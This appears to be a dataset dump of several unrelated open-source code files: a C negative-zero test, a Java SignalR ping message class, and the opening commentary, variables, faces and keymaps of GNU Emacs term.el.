text
stringlengths 1
22.8M
|
|---|
```c
/**
* @license Apache-2.0
*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
#include "stdlib/math/base/assert/is_negative_zero.h"
#include <stdbool.h>
#include <math.h>
/**
* Tests if a double-precision floating-point numeric value is negative zero.
*
* @param x number
* @return boolean indicating if an input value is negative zero
*/
bool stdlib_base_is_negative_zero( const double x ) {
return ( x == 0.0 && 1.0/x == -HUGE_VAL );
}
```
|
```java
package com.microsoft.signalr;
class PingMessage extends HubMessage
{
private final int type = HubMessageType.PING.value;
private static PingMessage instance = new PingMessage();
private PingMessage()
{
}
public static PingMessage getInstance() {return instance;}
@Override
public HubMessageType getMessageType() {
return HubMessageType.PING;
}
}
```
|
```emacs lisp
;;; term.el --- general command interpreter in a window stuff -*- lexical-binding: t -*-
;; Foundation, Inc.
;; Author: Per Bothner <per@bothner.com>
;; Maintainer: Dan Nicolaescu <dann@ics.uci.edu>, Per Bothner <per@bothner.com>
;; Based on comint mode written by: Olin Shivers <shivers@cs.cmu.edu>
;; Keywords: processes
;; This file is part of GNU Emacs.
;; GNU Emacs is free software: you can redistribute it and/or modify
;; (at your option) any later version.
;; GNU Emacs is distributed in the hope that it will be useful,
;; but WITHOUT ANY WARRANTY; without even the implied warranty of
;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;; along with GNU Emacs. If not, see <path_to_url
;; Marck 13 2001
;; Fixes for CJK support by Yong Lu <lyongu@yahoo.com>.
;; Dir/Hostname tracking and ANSI colorization by
;; Marco Melgazzi <marco@techie.com>.
;; To see what I've modified and where it came from search for '-mm'
;;; Commentary:
;; Speed considerations and a few caveats
;; --------------------------------------
;;
;; While the message passing and the colorization surely introduce some
;; overhead this has became so small that IMHO it is surely outweighed by
;; the benefits you get but, as usual, YMMV.
;;
;; Important caveat, when deciding the cursor/'gray keys' keycodes I had to
;; make a choice: on my Linux box this choice allows me to run all the
;; ncurses applications without problems but make these keys
;; incomprehensible to all the cursesX programs. Your mileage may vary so
;; you may consider changing the default 'emulation'. Just search for this
;; piece of code and modify it as you like:
;;
;; ;; Which would be better: "\e[A" or "\eOA"? readline accepts either.
;; ;; For my configuration it's definitely better \eOA but YMMV. -mm
;; ;; For example: vi works with \eOA while elm wants \e[A ...
;; (defun term-send-up () (interactive) (term-send-raw-string "\eOA"))
;; (defun term-send-down () (interactive) (term-send-raw-string "\eOB"))
;; (defun term-send-right () (interactive) (term-send-raw-string "\eOC"))
;; (defun term-send-left () (interactive) (term-send-raw-string "\eOD"))
;;
;;
;; IMPORTANT: additions & changes
;; ------------------------------
;;
;; With this enhanced ansi-term.el you will get a reliable mechanism of
;; directory/username/host tracking: the only drawback is that you will
;; have to modify your shell start-up script. It's worth it, believe me :).
;;
;; When you rlogin/su/telnet and the account you access has a modified
;; startup script, you will be able to access the remote files as usual
;; with C-x C-f, if it's needed you will have to enter a password,
;; otherwise the file should get loaded straight away.
;;
;; This is useful even if you work only on one host: it often happens that,
;; for maintenance reasons, you have to edit files 'as root': before
;; patching term.el, I su-ed in a term.el buffer and used vi :), now I
;; simply do a C-x C-f and, via ange-ftp, the file is automatically loaded
;; 'as-root'. ( If you don't want to enter the root password every time you
;; can put it in your .netrc: note that this is -not- advisable if you're
;; connected to the internet or if somebody else works on your workstation!)
;;
;; If you use wu-ftpd you can use some of its features to avoid root ftp
;; access to the rest of the world: just put in /etc/ftphosts something like
;;
;; # Local access
;; allow root 127.0.0.1
;;
;; # By default nobody can't do anything
;; deny root *
;;
;;
;; ----------------------------------------
;;
;; If, instead of 'term', you call 'ansi-term', you get multiple term
;; buffers, after every new call ansi-term opens a new *ansi-term*<xx> window,
;; where <xx> is, as usual, a number...
;;
;; ----------------------------------------
;;
;; With the term-buffer-maximum-size you can finally decide how many
;; scrollback lines to keep: its default is 2048 but you can change it as
;; usual.
;;
;; ----------------------------------------
;;
;;
;; ANSI colorization should work well. Blink, is not supported.
;; Currently it's mapped as bold.
;;
;; ----------------------------------------
;;
;; TODO:
;;
;; - Add hooks to allow raw-mode keys to be configurable
;; - Which keys are better ? \eOA or \e[A ?
;;
;;
;; Changes:
;;
;; V4.0 January 1997
;;
;; - Huge reworking of the faces code: now we only have roughly 20-30
;; faces for everything so we're even faster than the old md-term.el !
;; - Finished removing all the J-Shell code.
;;
;; V3.0 January 1997
;;
;; - Now all the supportable ANSI commands work well.
;; - Reworked a little the code: much less jsh-inspired stuff
;;
;; V2.3 November
;;
;; - Now all the faces are accessed through an array: much cleaner code.
;;
;; V2.2 November 4 1996
;;
;; - Implemented ANSI output colorization ( a bit rough but enough for
;; color_ls )
;;
;; - Implemented a maximum limit for the scroll buffer (stolen from
;; comint.el)
;;
;; v2.1 October 28 1996, first public release
;;
;; - Some new keybindings for term-char mode ( notably home/end/...)
;; - Directory, hostname and username tracking via ange-ftp
;; - Multi-term capability via the ansi-term call
;;
;; your_sha256_hash
;; You should/could have something like this in your .emacs to take
;; full advantage of this package
;;
;; (add-hook 'term-mode-hook
;; (function
;; (lambda ()
;; (setq term-prompt-regexp "^[^#$%>\n]*[#$%>] *")
;; (setq-local mouse-yank-at-point t)
;; (setq-local transient-mark-mode nil)
;; (auto-fill-mode -1)
;; (setq tab-width 8 ))))
;;
;;
;; ----------------------------------------
;;
;; If you want to use color ls the best setup is to have a different file
;; when you use eterm ( see above, mine is named .emacs_dircolors ). This
;; is necessary because some terminals, rxvt for example, need non-ansi
;; hacks to work ( for example on my rxvt white is wired to fg, and to
;; obtain normal white I have to do bold-white :)
;;
;; ----------------------------------------
;;
;;
;; # Configuration file for the color ls utility
;; # This file goes in the /etc directory, and must be world readable.
;; # You can copy this file to .dir_colors in your $HOME directory to
;; # override the system defaults.
;;
;; # COLOR needs one of these arguments: 'tty' colorizes output to ttys, but
;; # not pipes. 'all' adds color characters to all output. 'none' shuts
;; # colorization off.
;; COLOR tty
;; OPTIONS -F
;;
;; # Below, there should be one TERM entry for each termtype that is
;; # colorizable
;; TERM eterm
;;
;; # EIGHTBIT, followed by '1' for on, '0' for off. (8-bit output)
;; EIGHTBIT 1
;;
;; # Below are the color init strings for the basic file types. A color init
;; # string consists of one or more of the following numeric codes:
;; # Attribute codes:
;; # 00=none 01=bold 04=underscore 05=blink 07=reverse 08=concealed
;; # Text color codes:
;; # 30=black 31=red 32=green 33=yellow 34=blue 35=magenta 36=cyan 37=white
;; # Background color codes:
;; # 40=black 41=red 42=green 43=yellow 44=blue 45=magenta 46=cyan 47=white
;; NORMAL 00 # global default, although everything should be something.
;; FILE 00 # normal file
;; DIR 00;37 # directory
;; LINK 00;36 # symbolic link
;; FIFO 00;37 # pipe
;; SOCK 40;35 # socket
;; BLK 33;01 # block device driver
;; CHR 33;01 # character device driver
;;
;; # This is for files with execute permission:
;; EXEC 00;32
;;
;; # List any file extensions like '.gz' or '.tar' that you would like ls
;; # to colorize below. Put the extension, a space, and the color init
;; # string. (and any comments you want to add after a '#')
;; .tar 01;33 # archives or compressed
;; .tgz 01;33
;; .arj 01;33
;; .taz 01;33
;; .lzh 01;33
;; .zip 01;33
;; .z 01;33
;; .Z 01;33
;; .gz 01;33
;; .jpg 01;35 # image formats
;; .gif 01;35
;; .bmp 01;35
;; .xbm 01;35
;; .xpm 01;35
;;
;;
;; ----------------------------------------
;;
;; Notice: for directory/host/user tracking you need to have something
;; like this in your shell startup script (this is for a POSIXish shell
;; like Bash but should be quite easy to port to other shells)
;;
;; ----------------------------------------
;;
;; # Set HOSTNAME if not already set.
;; : ${HOSTNAME=$(uname -n)}
;;
;; # su does not change this but I'd like it to
;;
;; USER=$(whoami)
;;
;; # ...
;;
;; case $TERM in
;; eterm*)
;;
;; printf '%s\n' \
;; -------------------------------------------------------------- \
;; "Hello $user" \
;; "Today is $(date)" \
;; "We are on $HOSTNAME running $(uname) under Emacs term mode" \
;; --------------------------------------------------------------
;;
;; export EDITOR=emacsclient
;;
;; # The \033 stands for ESC.
;; # There is a space between "AnSiT?" and $whatever.
;;
;; cd() { command cd "$@"; printf '\033AnSiTc %s\n' "$PWD"; }
;; pushd() { command pushd "$@"; printf '\033AnSiTc %s\n' "$PWD"; }
;; popd() { command popd "$@"; printf '\033AnSiTc %s\n' "$PWD"; }
;;
;; printf '\033AnSiTc %s\n' "$PWD"
;; printf '\033AnSiTh %s\n' "$HOSTNAME"
;; printf '\033AnSiTu %s\n' "$USER"
;;
;; eval $(dircolors $HOME/.emacs_dircolors)
;; esac
;;
;; # ...
;;
;;
;;; Original Commentary:
;; ---------------------
;; The changelog is at the end of this file.
;; Please send me bug reports, bug fixes, and extensions, so that I can
;; merge them into the master source.
;; - Per Bothner (bothner@cygnus.com)
;; This file defines a general command-interpreter-in-a-buffer package
;; (term mode). The idea is that you can build specific process-in-a-buffer
;; modes on top of term mode -- e.g., lisp, shell, scheme, T, soar, ....
;; This way, all these specific packages share a common base functionality,
;; and a common set of bindings, which makes them easier to use (and
;; saves code, implementation time, etc., etc.).
;; For hints on converting existing process modes (e.g., tex-mode,
;; background, dbx, gdb, kermit, prolog, telnet) to use term-mode
;; instead of shell-mode, see the notes at the end of this file.
;; Brief Command Documentation:
;;============================================================================
;; Term Mode Commands: (common to all derived modes, like cmushell & cmulisp
;; mode)
;;
;; m-p term-previous-input Cycle backwards in input history
;; m-n term-next-input Cycle forwards
;; m-r term-previous-matching-input Previous input matching a regexp
;; m-s comint-next-matching-input Next input that matches
;; return term-send-input
;; c-c c-a term-bol Beginning of line; skip prompt.
;; c-d term-delchar-or-maybe-eof Delete char unless at end of buff.
;; c-c c-u term-kill-input ^u
;; c-c c-w backward-kill-word ^w
;; c-c c-c term-interrupt-subjob ^c
;; c-c c-z term-stop-subjob ^z
;; c-c c-\ term-quit-subjob ^\
;; c-c c-o term-kill-output Delete last batch of process output
;; c-c c-r term-show-output Show last batch of process output
;; c-c c-h term-dynamic-list-input-ring List input history
;;
;; Not bound by default in term-mode
;; term-send-invisible Read a line w/o echo, and send to proc
;; (These are bound in shell-mode)
;; term-dynamic-complete Complete filename at point.
;; term-dynamic-list-completions List completions in help buffer.
;; term-replace-by-expanded-filename Expand and complete filename at point;
;; replace with expanded/completed name.
;; term-kill-subjob No mercy.
;; term-show-maximum-output Show as much output as possible.
;; term-continue-subjob Send CONT signal to buffer's process
;; group. Useful if you accidentally
;; suspend your process (with C-c C-z).
;; term-mode-hook is the term mode hook. Basically for your keybindings.
;; term-load-hook is run after loading in this package.
;;; Code:
;; This is passed to the inferior in the EMACS environment variable,
;; so it is important to increase it if there are protocol-relevant changes.
(defconst term-protocol-version "0.96")
(eval-when-compile (require 'ange-ftp))
(eval-when-compile (require 'cl-lib))
(require 'ring)
(require 'ehelp)
(declare-function ring-empty-p "ring" (ring))
(declare-function ring-ref "ring" (ring index))
(declare-function ring-insert-at-beginning "ring" (ring item))
(declare-function ring-length "ring" (ring))
(declare-function ring-insert "ring" (ring item))
(defgroup term nil
"General command interpreter in a window."
:group 'processes)
;;; Buffer Local Variables:
;;============================================================================
;; Term mode buffer local variables:
;; term-prompt-regexp - string term-bol uses to match prompt.
;; term-delimiter-argument-list - list For delimiters and arguments
;; term-last-input-start - marker Handy if inferior always echoes
;; term-last-input-end - marker For term-kill-output command
;; For the input history mechanism:
(defvar term-input-ring-size 32 "Size of input history ring.")
;; term-input-ring-size - integer
;; term-input-ring - ring
;; term-input-ring-index - number ...
;; term-input-autoexpand - symbol ...
;; term-input-ignoredups - boolean ...
;; term-last-input-match - string ...
;; term-dynamic-complete-functions - hook For the completion mechanism
;; term-completion-fignore - list ...
;; term-get-old-input - function Hooks for specific
;; term-input-filter-functions - hook process-in-a-buffer
;; term-input-filter - function modes.
;; term-input-send - function
;; term-scroll-to-bottom-on-output - symbol ...
;; term-scroll-show-maximum-output - boolean...
(defvar term-height) ; Number of lines in window.
(defvar term-width) ; Number of columns in window.
(defvar term-home-marker) ; Marks the "home" position for cursor addressing.
(defvar term-saved-home-marker nil
"When using alternate sub-buffer,
contains saved term-home-marker from original sub-buffer.")
(defvar term-start-line-column 0
"(current-column) at start of screen line, or nil if unknown.")
(defvar term-current-column 0 "If non-nil, is cache for (current-column).")
(defvar term-current-row 0
"Current vertical row (relative to home-marker) or nil if unknown.")
(defvar term-insert-mode nil)
(defvar term-vertical-motion)
(defvar term-do-line-wrapping nil
"Last character was a graphic in the last column.
If next char is graphic, first move one column right
\(and line warp) before displaying it.
This emulates (more or less) the behavior of xterm.")
(defvar term-kill-echo-list nil
"A queue of strings whose echo we want suppressed.")
(defvar term-terminal-undecoded-bytes nil)
(defvar term-current-face 'term)
(defvar term-scroll-start 0 "Top-most line (inclusive) of scrolling region.")
(defvar term-scroll-end) ; Number of line (zero-based) after scrolling region.
(defvar term-pager-count nil
"Number of lines before we need to page; if nil, paging is disabled.")
(defvar term-saved-cursor nil)
(defvar term-command-hook)
(defvar term-log-buffer nil)
(defvar term-scroll-with-delete nil
"If t, forward scrolling should be implemented by delete to
top-most line(s); and if nil, scrolling should be implemented
by moving term-home-marker. It is set to t if there is a
\(non-default) scroll-region OR the alternate buffer is used.")
(defvar term-pending-delete-marker) ; New user input in line mode
; needs to be deleted, because it gets echoed by the inferior.
; To reduce flicker, we defer the delete until the next output.
(defvar term-old-mode-map nil "Saves the old keymap when in char mode.")
(defvar term-old-mode-line-format) ; Saves old mode-line-format while paging.
(defvar term-pager-old-local-map nil "Saves old keymap while paging.")
(defvar term-pager-old-filter) ; Saved process-filter while paging.
(defvar-local term-line-mode-buffer-read-only nil
"The `buffer-read-only' state to set in `term-line-mode'.")
(defcustom explicit-shell-file-name nil
"If non-nil, is file name to use for explicitly requested inferior shell."
:type '(choice (const nil) file)
:group 'term)
(defvar term-prompt-regexp "^"
"Regexp to recognize prompts in the inferior process.
Defaults to \"^\", the null string at BOL.
Good choices:
Canonical Lisp: \"^[^> \\n]*>+:? *\" (Lucid, franz, kcl, T, cscheme, oaklisp)
Lucid Common Lisp: \"^\\\\(>\\\\|\\\\(->\\\\)+\\\\) *\"
franz: \"^\\\\(->\\\\|<[0-9]*>:\\\\) *\"
kcl: \"^>+ *\"
shell: \"^[^#$%>\\n]*[#$%>] *\"
T: \"^>+ *\"
This is a good thing to set in mode hooks.")
(defvar term-delimiter-argument-list ()
"List of characters to recognize as separate arguments in input.
Strings comprising a character in this list will separate the arguments
surrounding them, and also be regarded as arguments in their own right
\(unlike whitespace). See `term-arguments'.
Defaults to the empty list.
For shells, a good value is (?\\| ?& ?< ?> ?\\( ?\\) ?\\;).
This is a good thing to set in mode hooks.")
(defcustom term-input-autoexpand nil
"If non-nil, expand input command history references on completion.
This mirrors the optional behavior of tcsh (its autoexpand and histlit).
If the value is `input', then the expansion is seen on input.
If the value is `history', then the expansion is only when inserting
into the buffer's input ring. See also `term-magic-space' and
`term-dynamic-complete'.
This variable is buffer-local."
:type '(choice (const nil) (const t) (const input) (const history))
:group 'term)
(defcustom term-input-ignoredups nil
"If non-nil, don't add input matching the last on the input ring.
This mirrors the optional behavior of bash.
This variable is buffer-local."
:type 'boolean
:group 'term)
(defcustom term-input-ring-file-name nil
"If non-nil, name of the file to read/write input history.
See also `term-read-input-ring' and `term-write-input-ring'.
This variable is buffer-local, and is a good thing to set in mode hooks."
:type 'boolean
:group 'term)
(defcustom term-char-mode-buffer-read-only t
"If non-nil, only the process filter may modify the buffer in char mode.
A non-nil value makes the buffer read-only in `term-char-mode',
which prevents editing commands from making the buffer state
inconsistent with the state of the terminal understood by the
inferior process. Only the process filter is allowed to make
changes to the buffer.
Customize this option to nil if you want the previous behavior."
:version "26.1"
:type 'boolean
:group 'term)
(defcustom term-char-mode-point-at-process-mark t
"If non-nil, keep point at the process mark in char mode.
A non-nil value causes point to be moved to the current process
mark after each command in `term-char-mode' (provided that the
pre-command point position was also at the process mark). This
prevents commands that move point from making the buffer state
inconsistent with the state of the terminal understood by the
inferior process.
Mouse events are not affected, so moving point and selecting text
is still possible in char mode via the mouse, after which other
commands can be invoked on the mouse-selected point or region,
until the process filter (or user) moves point to the process
mark once again.
Customize this option to nil if you want the previous behavior."
:version "26.1"
:type 'boolean
:group 'term)
(defcustom term-scroll-to-bottom-on-output nil
"Controls whether interpreter output causes window to scroll.
If nil, then do not scroll. If t or `all', scroll all windows showing buffer.
If `this', scroll only the selected window.
If `others', scroll only those that are not the selected window.
The default is nil.
See variable `term-scroll-show-maximum-output'.
This variable is buffer-local."
:type 'boolean
:group 'term)
(defcustom term-scroll-show-maximum-output nil
"Controls how interpreter output causes window to scroll.
If non-nil, then show the maximum output when the window is scrolled.
See variable `term-scroll-to-bottom-on-output'.
This variable is buffer-local."
:type 'boolean
:group 'term)
(defcustom term-suppress-hard-newline nil
"Non-nil means interpreter should not break long lines with newlines.
This means text can automatically reflow if the window is resized."
:version "24.4"
:type 'boolean
:group 'term)
;; Where gud-display-frame should put the debugging arrow. This is
;; set by the marker-filter, which scans the debugger's output for
;; indications of the current pc.
(defvar term-pending-frame nil)
;;; Here are the per-interpreter hooks.
(defvar term-get-old-input (function term-get-old-input-default)
"Function that submits old text in term mode.
This function is called when return is typed while the point is in old text.
It returns the text to be submitted as process input. The default is
`term-get-old-input-default', which grabs the current line, and strips off
leading text matching `term-prompt-regexp'.")
(defvar term-dynamic-complete-functions
'(term-replace-by-expanded-history term-dynamic-complete-filename)
"List of functions called to perform completion.
Functions should return non-nil if completion was performed.
See also `term-dynamic-complete'.
This is a good thing to set in mode hooks.")
(defvar term-input-filter
(function (lambda (str) (not (string-match "\\`\\s *\\'" str))))
"Predicate for filtering additions to input history.
Only inputs answering true to this function are saved on the input
history list. Default is to save anything that isn't all whitespace.")
(defvar term-input-filter-functions '()
"Functions to call before input is sent to the process.
These functions get one argument, a string containing the text to send.
This variable is buffer-local.")
(defvar term-input-sender (function term-simple-send)
"Function to actually send to PROCESS the STRING submitted by user.
Usually this is just `term-simple-send', but if your mode needs to
massage the input string, this is your hook. This is called from
the user command `term-send-input'. `term-simple-send' just sends
the string plus a newline.")
(defcustom term-eol-on-send t
"Non-nil means go to the end of the line before sending input.
See `term-send-input'."
:type 'boolean
:group 'term)
(defcustom term-mode-hook '()
"Called upon entry into term mode.
This is run before the process is cranked up."
:type 'hook
:group 'term)
(defcustom term-exec-hook '()
"Called each time a process is exec'd by `term-exec'.
This is called after the process is cranked up. It is useful for things that
must be done each time a process is executed in a term mode buffer (e.g.,
`set-process-query-on-exit-flag'). In contrast, `term-mode-hook' is only
executed once, when the buffer is created."
:type 'hook
:group 'term)
(defvar term-mode-map
(let ((map (make-sparse-keymap)))
(define-key map "\ep" 'term-previous-input)
(define-key map "\en" 'term-next-input)
(define-key map "\er" 'term-previous-matching-input)
(define-key map "\es" 'term-next-matching-input)
(unless (featurep 'xemacs)
(define-key map [?\A-\M-r]
'term-previous-matching-input-from-input)
(define-key map [?\A-\M-s] 'term-next-matching-input-from-input))
(define-key map "\e\C-l" 'term-show-output)
(define-key map "\C-m" 'term-send-input)
(define-key map "\C-d" 'term-delchar-or-maybe-eof)
(define-key map "\C-c\C-a" 'term-bol)
(define-key map "\C-c\C-u" 'term-kill-input)
(define-key map "\C-c\C-w" 'backward-kill-word)
(define-key map "\C-c\C-c" 'term-interrupt-subjob)
(define-key map "\C-c\C-z" 'term-stop-subjob)
(define-key map "\C-c\C-\\" 'term-quit-subjob)
(define-key map "\C-c\C-m" 'term-copy-old-input)
(define-key map "\C-c\C-o" 'term-kill-output)
(define-key map "\C-c\C-r" 'term-show-output)
(define-key map "\C-c\C-e" 'term-show-maximum-output)
(define-key map "\C-c\C-l" 'term-dynamic-list-input-ring)
(define-key map "\C-c\C-n" 'term-next-prompt)
(define-key map "\C-c\C-p" 'term-previous-prompt)
(define-key map "\C-c\C-d" 'term-send-eof)
(define-key map "\C-c\C-k" 'term-char-mode)
(define-key map "\C-c\C-j" 'term-line-mode)
(define-key map "\C-c\C-q" 'term-pager-toggle)
;; completion: (line mode only)
(easy-menu-define nil map "Complete menu for Term mode."
'("Complete"
["Complete Before Point" term-dynamic-complete t]
["Complete File Name" term-dynamic-complete-filename t]
["File Completion Listing" term-dynamic-list-filename-completions t]
["Expand File Name" term-replace-by-expanded-filename t]))
;; Input history: (line mode only)
(easy-menu-define nil map "In/Out menu for Term mode."
'("In/Out"
["Expand History Before Point" term-replace-by-expanded-history
term-input-autoexpand]
["List Input History" term-dynamic-list-input-ring t]
["Previous Input" term-previous-input t]
["Next Input" term-next-input t]
["Previous Matching Current Input"
term-previous-matching-input-from-input t]
["Next Matching Current Input" term-next-matching-input-from-input t]
["Previous Matching Input..." term-previous-matching-input t]
["Next Matching Input..." term-next-matching-input t]
["Backward Matching Input..." term-backward-matching-input t]
["Forward Matching Input..." term-forward-matching-input t]
["Copy Old Input" term-copy-old-input t]
["Kill Current Input" term-kill-input t]
["Show Current Output Group" term-show-output t]
["Show Maximum Output" term-show-maximum-output t]
["Backward Output Group" term-previous-prompt t]
["Forward Output Group" term-next-prompt t]
["Kill Current Output Group" term-kill-output t]))
map)
"Keymap for Term mode.")
(defvar term-escape-char nil
"Escape character for char sub-mode of term mode.
Do not change it directly; use `term-set-escape-char' instead.")
(defvar term-pager-break-map
(let ((map (make-keymap)))
;; (dotimes (i 128)
;; (define-key map (make-string 1 i) 'term-send-raw))
(define-key map "\e" (lookup-key (current-global-map) "\e"))
(define-key map "\C-x" (lookup-key (current-global-map) "\C-x"))
(define-key map "\C-u" (lookup-key (current-global-map) "\C-u"))
(define-key map " " 'term-pager-page)
(define-key map "\r" 'term-pager-line)
(define-key map "?" 'term-pager-help)
(define-key map "h" 'term-pager-help)
(define-key map "b" 'term-pager-back-page)
(define-key map "\177" 'term-pager-back-line)
(define-key map "q" 'term-pager-discard)
(define-key map "D" 'term-pager-disable)
(define-key map "<" 'term-pager-bob)
(define-key map ">" 'term-pager-eob)
map)
"Keymap used in Term pager mode.")
(defvar term-ptyp t
"True if communications via pty; false if by pipe. Buffer local.
This is to work around a bug in Emacs process signaling.")
(defvar term-last-input-match ""
"Last string searched for by term input history search, for defaulting.
Buffer local variable.")
(defvar term-input-ring nil)
(defvar term-last-input-start)
(defvar term-last-input-end)
(defvar term-input-ring-index nil
"Index of last matched history element.")
(defvar term-matching-input-from-input-string ""
"Input previously used to match input history.")
; This argument to set-process-filter disables reading from the process,
; assuming this is Emacs 19.20 or newer.
(defvar term-pager-filter t)
(put 'term-input-ring 'permanent-local t)
(put 'term-input-ring-index 'permanent-local t)
(put 'term-input-autoexpand 'permanent-local t)
(put 'term-input-filter-functions 'permanent-local t)
(put 'term-scroll-to-bottom-on-output 'permanent-local t)
(put 'term-scroll-show-maximum-output 'permanent-local t)
(put 'term-ptyp 'permanent-local t)
(defmacro term-in-char-mode () '(eq (current-local-map) term-raw-map))
(defmacro term-in-line-mode () '(not (term-in-char-mode)))
;; True if currently doing PAGER handling.
(defmacro term-pager-enabled () 'term-pager-count)
(defmacro term-handling-pager () 'term-pager-old-local-map)
(defmacro term-using-alternate-sub-buffer () 'term-saved-home-marker)
;; Let's silence the byte-compiler -mm
(defvar term-ansi-at-host nil)
(defvar term-ansi-at-dir nil)
(defvar term-ansi-at-user nil)
(defvar term-ansi-at-message nil)
(defvar term-ansi-at-save-user nil)
(defvar term-ansi-at-save-pwd nil)
(defvar term-ansi-at-save-anon nil)
(defvar term-ansi-current-bold nil)
(defvar term-ansi-current-color 0)
(defvar term-ansi-face-already-done nil)
(defvar term-ansi-current-bg-color 0)
(defvar term-ansi-current-underline nil)
(defvar term-ansi-current-reverse nil)
(defvar term-ansi-current-invisible nil)
;;; Faces
(defvar ansi-term-color-vector
[term
term-color-black
term-color-red
term-color-green
term-color-yellow
term-color-blue
term-color-magenta
term-color-cyan
term-color-white])
(defcustom term-default-fg-color nil
"If non-nil, default color for foreground in Term mode."
:group 'term
:type '(choice (const nil) (string :tag "color")))
(make-obsolete-variable 'term-default-fg-color "use the face `term' instead."
"24.3")
(defcustom term-default-bg-color nil
"If non-nil, default color for foreground in Term mode."
:group 'term
:type '(choice (const nil) (string :tag "color")))
(make-obsolete-variable 'term-default-bg-color "use the face `term' instead."
"24.3")
(defface term
`((t
:foreground ,term-default-fg-color
:background ,term-default-bg-color
:inherit default))
"Default face to use in Term mode."
:group 'term)
(defface term-bold
'((t :bold t))
"Default face to use for bold text."
:group 'term)
(defface term-underline
'((t :underline t))
"Default face to use for underlined text."
:group 'term)
(defface term-color-black
'((t :foreground "black" :background "black"))
"Face used to render black color code."
:group 'term)
(defface term-color-red
'((t :foreground "red3" :background "red3"))
"Face used to render red color code."
:group 'term)
(defface term-color-green
'((t :foreground "green3" :background "green3"))
"Face used to render green color code."
:group 'term)
(defface term-color-yellow
'((t :foreground "yellow3" :background "yellow3"))
"Face used to render yellow color code."
:group 'term)
(defface term-color-blue
'((t :foreground "blue2" :background "blue2"))
"Face used to render blue color code."
:group 'term)
(defface term-color-magenta
'((t :foreground "magenta3" :background "magenta3"))
"Face used to render magenta color code."
:group 'term)
(defface term-color-cyan
'((t :foreground "cyan3" :background "cyan3"))
"Face used to render cyan color code."
:group 'term)
(defface term-color-white
'((t :foreground "white" :background "white"))
"Face used to render white color code."
:group 'term)
;; Inspiration came from comint.el -mm
(defcustom term-buffer-maximum-size 2048
"The maximum size in lines for term buffers.
Term buffers are truncated from the top to be no greater than this number.
Notice that a setting of 0 means \"don't truncate anything\". This variable
is buffer-local."
:group 'term
:type 'integer)
;; Set up term-raw-map, etc.
(defvar term-raw-map
(let* ((map (make-keymap))
(esc-map (make-keymap))
(i 0))
(while (< i 128)
(define-key map (make-string 1 i) 'term-send-raw)
;; Avoid O and [. They are used in escape sequences for various keys.
(unless (or (eq i ?O) (eq i 91))
(define-key esc-map (make-string 1 i) 'term-send-raw-meta))
(setq i (1+ i)))
(define-key map [remap self-insert-command] 'term-send-raw)
(define-key map "\e" esc-map)
;; Added nearly all the 'gray keys' -mm
(if (featurep 'xemacs)
(define-key map [button2] 'term-mouse-paste)
(define-key map [mouse-2] 'term-mouse-paste))
(define-key map [up] 'term-send-up)
(define-key map [down] 'term-send-down)
(define-key map [right] 'term-send-right)
(define-key map [left] 'term-send-left)
(define-key map [C-up] 'term-send-ctrl-up)
(define-key map [C-down] 'term-send-ctrl-down)
(define-key map [C-right] 'term-send-ctrl-right)
(define-key map [C-left] 'term-send-ctrl-left)
(define-key map [delete] 'term-send-del)
(define-key map [deletechar] 'term-send-del)
(define-key map [backspace] 'term-send-backspace)
(define-key map [home] 'term-send-home)
(define-key map [end] 'term-send-end)
(define-key map [insert] 'term-send-insert)
(define-key map [S-prior] 'scroll-down)
(define-key map [S-next] 'scroll-up)
(define-key map [S-insert] 'term-paste)
(define-key map [prior] 'term-send-prior)
(define-key map [next] 'term-send-next)
(define-key map [xterm-paste] #'term--xterm-paste)
map)
"Keyboard map for sending characters directly to the inferior process.")
(easy-menu-define term-terminal-menu
(list term-mode-map term-raw-map term-pager-break-map)
"Terminal menu for Term mode."
'("Terminal"
["Line mode" term-line-mode :active (term-in-char-mode)
:help "Switch to line (cooked) sub-mode of term mode"]
["Character mode" term-char-mode :active (term-in-line-mode)
:help "Switch to char (raw) sub-mode of term mode"]
["Paging" term-pager-toggle :style toggle :selected term-pager-count
:help "Toggle paging feature"]))
(easy-menu-define term-signals-menu
(list term-mode-map term-raw-map term-pager-break-map)
"Signals menu for Term mode."
'("Signals"
["BREAK" term-interrupt-subjob :active t
:help "Interrupt the current subjob"]
["STOP" term-stop-subjob :active t :help "Stop the current subjob"]
["CONT" term-continue-subjob :active t
:help "Send CONT signal to process buffer's process group"]
["QUIT" term-quit-subjob :active t
:help "Send quit signal to the current subjob"]
["KILL" term-kill-subjob :active t
:help "Send kill signal to the current subjob"]
["EOF" term-send-eof :active t
:help "Send an EOF to the current buffer's process"]))
(easy-menu-define term-pager-menu term-pager-break-map
"Menu for Term pager mode."
'("More pages?"
["1 page forwards" term-pager-page t]
["1 page backwards" term-pager-back-page t]
["1 line backwards" term-pager-back-line t]
["1 line forwards" term-pager-line t]
["Goto to beginning" term-pager-bob t]
["Goto to end" term-pager-eob t]
["Discard remaining output" term-pager-discard t]
["Disable paging" term-pager-toggle t]
["Help" term-pager-help t]))
(defvar term-raw-escape-map
(let ((map (make-sparse-keymap)))
(set-keymap-parent map 'Control-X-prefix)
;; Define standard bindings in term-raw-escape-map.
(define-key map "\C-v" (lookup-key (current-global-map) "\C-v"))
(define-key map "\C-u" (lookup-key (current-global-map) "\C-u"))
(define-key map "\C-q" 'term-pager-toggle)
;; The keybinding for term-char-mode is needed by the menubar code.
(define-key map "\C-k" 'term-char-mode)
(define-key map "\C-j" 'term-line-mode)
;; It's convenient to have execute-extended-command here.
(define-key map [?\M-x] 'execute-extended-command)
map))
(defun term-set-escape-char (key)
"Change `term-escape-char' and keymaps that depend on it."
(when term-escape-char
;; Undo previous term-set-escape-char.
(define-key term-raw-map term-escape-char 'term-send-raw))
(setq term-escape-char (if (vectorp key) key (vector key)))
(define-key term-raw-map term-escape-char term-raw-escape-map)
;; FIXME: If we later call term-set-escape-char again with another key,
;; we should undo this binding.
(define-key term-raw-escape-map term-escape-char 'term-send-raw))
(term-set-escape-char (or term-escape-char ?\C-c))
(put 'term-mode 'mode-class 'special)
;; Use this variable as a display table for `term-mode'.
(defvar term-display-table
(let ((dt (or (copy-sequence standard-display-table)
(make-display-table)))
i)
;; avoid changing the display table for ^J
(setq i 0)
(while (< i 10)
(aset dt i (vector i))
(setq i (1+ i)))
(setq i 11)
(while (< i 32)
(aset dt i (vector i))
(setq i (1+ i)))
(setq i 128)
(while (< i 256)
(aset dt i (vector i))
(setq i (1+ i)))
dt))
